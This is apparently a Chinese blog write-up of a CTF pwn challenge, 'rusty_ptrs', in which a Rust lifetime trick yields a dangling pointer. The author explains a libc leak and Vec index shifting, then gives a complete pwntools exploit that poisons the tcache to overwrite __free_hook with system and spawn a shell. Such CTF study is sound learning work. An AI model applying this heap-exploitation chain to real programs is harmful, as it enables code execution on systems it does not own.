前言 例题为2025/11/11-2025/11/17的pwn小组复现题
rust语言为了内存安全,规定了非常严格的生存周期,在生存周期结束后就会自动释放,从而避免了悬空指针的情况。尽管其管理已经十分严格,但仍然存在不使用unsafe代码时拥有悬空指针的情况。
静态分析 在ai和源码的帮助下,知道题目中的rules存在悬空指针:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 type RulesT = Vec <&'static mut [u8 ; LEN]>;#[inline(never)] fn create_rule (rules: &mut RulesT){ let buf = get_rule (); rules.push (buf); println! ("Rule Created!" ); } fn get_rule () -> &'static mut [u8 ; LEN] { let mut buffer = Box ::new ([0 ; LEN]); return get_ptr (&mut buffer); } const S: &&() = &&();#[inline(never)] fn get_ptr <'a , 'b , T: ?Sized >(x: &'a mut T) -> &'b mut T { fn ident <'a , 'b , T: ?Sized >( _val_a: &'a &'b (), val_b: &'b mut T, ) -> &'a mut T { val_b } let f : fn (_, &'a mut T) -> &'b mut T = ident; f (S, x) }
原理 #TODO 现在只知道大概是在get_ptr处将一个局部指针转换成了全局指针,然后局部指针被带出本该待的生存周期,成为悬空指针。(具体原因还待分析)
动态分析 由于rust逆向代码晦涩难懂,故选择动态调试来查看heap和bins的状态
1 2 3 4 5 6 7 8 1. Create a Rule or Note 2. Delete a Rule or Note 3. Read a Rule or Note 4. Edit a Rule or Note 5. Make a Law 6. Exit > 5 0x712970799be0, 0x712970799be0
执行程序测试时发现Make a Law会泄露出main_arena + 88的地址 #TODO (原理未知) 通过创建Rule和Note堆块,发现创建Rule堆块时,创建的堆块会被释放,但是其堆块仍可访问,存在悬空指针,可使用edit编辑已释放的堆块。Pasted image 20251117153833.png 又由于glibc版本为2.31,那么攻击手法显而易见,修改tcache的fd申请__free_hook附近的堆块,然后修改__free_hook为system函数,再释放一个内容为/bin/sh\x00的堆块即可。但是在实际操作时发现,patchelf更换了libc和ld和libgcc_s.so.1后无法调试堆块了。处理了很久都未能解决。 最后只能时硬看汇编(还好有源码)Pasted image 20251117161839.png 由于无法查看堆块,后来卡在明明申请到了__free_hook处的堆块,却不能修改__free_hook的值的情况,细细品鉴后发现原来是代码中使用的是类似队列?链表?的结构体,删除一个堆块后,剩余堆块位置会变化,也就是和c语言中的数组不同。 具体情况如下 初始 push 3 次
1 2 3 indices: 0 1 2 elements: A B C len = 3
remove(0)删掉 A,把 [B, C] 整体左移 1 格
1 2 3 indices: 0 1 elements: B C len = 2
remove(1) 删掉 C(索引 1 是当前最后一个元素)
1 2 3 indices: 0 elements: B len = 1
remove(2) 此时 len = 1,索引 2 ≥ 1 → 触发 OOB! 分支,Vec 不变
1 2 3 indices: 0 elements: B len = 1
再 push 两次 D、E依次追加到尾部
1 2 3 indices: 0 1 2 elements: B D E len = 3
之后成功getshellPasted image 20251117161715.png 以下是exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *context.binary = ELF("./rusty_ptrs" ) io = gdb.debug("./rusty_ptrs" ) elf = ELF("./rusty_ptrs" ) libc = elf.libc def menu (idx ): io.sendlineafter(b"Exit\n> " , str (idx).encode()) return def add (type ): menu(1 ) io.sendlineafter(b"Notes\n> " , str (type ).encode()) return def free (type , idx ): menu(2 ) io.sendlineafter(b"Notes\n> " , str (type ).encode()) io.sendlineafter(b"? \n> " , str (idx).encode()) return def show (type , idx ): menu(3 ) io.sendlineafter(b"Notes\n> " , str (type ).encode()) io.sendlineafter(b"? \n> " , str (idx).encode()) return def edit (type , idx, content ): menu(4 ) io.sendlineafter(b"Notes\n> " , str (type ).encode()) io.sendlineafter(b"? \n> " , str (idx).encode()) io.sendafter(b".\n> " , content) return def make_law (): menu(5 ) return def exit (): menu(6 ) return make_law() libc.address = int (io.recvuntil(b", " , drop=True ), 16 ) - 0x1ecbe0 print ("libc.address-> " , hex (libc.address))add(2 ) add(2 ) add(2 ) free(2 , 0 ) free(2 , 0 ) free_hook = libc.sym["__free_hook" ] add(1 ) edit(1 , 0 , p64(free_hook)) system = libc.sym["system" ] add(2 ) add(2 ) edit(2 , 2 , p64(system)) add(2 ) edit(2 , 1 , b"/bin/sh\x00" ) free(2 , 1 ) print ("free_hook -> " , hex (free_hook))print ("system -> " , hex (system))io.interactive()
本作品由 automata 于 2026-03-21 00:00:00 发布
除特别声明外,本站作品均采用
CC BY-NC-SA 4.0 许可协议,转载请注明来自
凹凸麦塔